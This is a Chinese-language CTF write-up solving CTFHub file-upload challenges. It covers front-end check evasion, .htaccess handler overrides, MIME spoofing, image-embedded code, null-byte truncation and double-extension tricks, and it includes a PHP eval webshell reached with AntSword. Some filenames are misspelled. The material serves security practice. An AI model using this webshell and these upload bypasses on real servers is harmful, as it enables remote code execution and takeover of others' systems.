CTFHub-Web-文件上传练习
0x00 无验证
上传一句话木马1.php
<?php @eval($_POST["pass"]);?>
上传文件相对路径upload/1.php
使用蚁剑连接,连接密码为pass
查看目录,flag就在这里
0x01 前端验证
上传一句话木马,结果提示该文件不允许上传
题目是前端验证,直接查看网页源代码,发现只能上传.jpg
,.png
,.gif
三种格式的文件
把1.php改为1.jpg,然后上传抓包
1.jpg再改为1.php,然后放包
上传成功,得到相对路径upload/1.php
还是一样的操作,蚁剑连接,查找目录,找到flag
0x03 .htaccess
题目描述:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
访问
查看源代码,发现文件后缀都被禁用了
百度一下hatccess文件,.htaccess
是Apache的又一特色。一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)
.hatccess
文件有两种写法
第一种方法:
下面代码的意思是,只要文件名中包含pass,就会被Apache解析为php文件。
<FilesMatch "pass">
SetHandler application/x-httpd-php
</FilesMatch>
提示文件名不能为空,命名为3.hatccess
,用bp抓包,将3.htaccess改为.htaccass
,然后放包
.htaccass
文件上传成功
把上面用到的1.php改为3.pass文件,上传文件相对路径upload/3.pass
蚁剑连接,可以看到上传的文件
查找flag
第二种方法:·
内容为
AddType application/x-httpd-php .jpg
就成功地使该.htaccess
文件所在目录及其子目录中的后缀为.jpg
的文件被Apache当做php文件
上传test.htaccess
上传成功
再上传3.jpg
,内容为<?php @eval($_POST["pass"]);?>
,获取到上传文件路径
蚁剑连接,连接成功。
参考文章:文件解析漏洞
0x04 MIME绕过
直接上传4.php,提示文件类型不正确
来使用MIME绕过,百度了解一下MIME
MIME(Multipurpose Internet MailExtensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
MIME
多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。
常见的MME类型,例如:
#text表明文件是普通文本
text/plain
text/html
#image表明是某种图像或者动态图(gif)
image/jpeg
image/png
#audio表明是某种音频文件
audio/mpeg
audio/ogg
audio/*
#video表明是某种视频文件
video/mp4
#application表明是某种二进制数据
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream
上传4.php
,使用bp抓包,修改Content-Typed的值,改成Content-Type: image/jpeg
,然后放包
上传成功,得到文件相对路径
蚁剑连接,查找目录文件,即可得到flag
参考文章: MIME 类型
0x05 文件头检查
上传一句话木马5.php,提示文件类型不正确
再把5.php修改成5.jpg上传,发现提示文件错误
尝试MME绕过,上传5.php
,抓包,修改Content-Typed的值,然后放包,发现提示文件错误
应该是对文件内容进行了检测,来制作一个图片码m.php
抓包修改Content-Type的值,放包
结果提示文件错误
看了大师傅的wp,说尽量换小一点的图片,就会成功,这次换了一个非常小的图片,重新制作图片马
上传flag.php,抓包修改Content-Type的值为image/png
上传成功,得到上传路径
蚁剑连接,拿到flag
0x06 00截断
了解一下00截断,关于上传中的00截断分析
上传一句话木马,提示文件类型不匹配, 但在url栏出现了路径信息
查看源代码
上传shell.jpg,抓包
构造00截断,添加shell.php%00
,放包
上传成功路径为upload/shell.php
,蚁剑连接
拿到flag
0x07 双写后缀
上传一句话木马shell.php,虽然上传成功,但后缀却消失了
查看源码,$name = str_ireplace($blacklist, "", $name);
,变量blacklist
里面的值会被替换,后缀被过滤了
继续上传shell.php
,然后抓包修改成shell.pphphp
,中间的php字符串被过滤,剩下的p
和hp
就组合成了php
。
文件上传成功,得到文件上传路径
蚁剑连接,flag就在这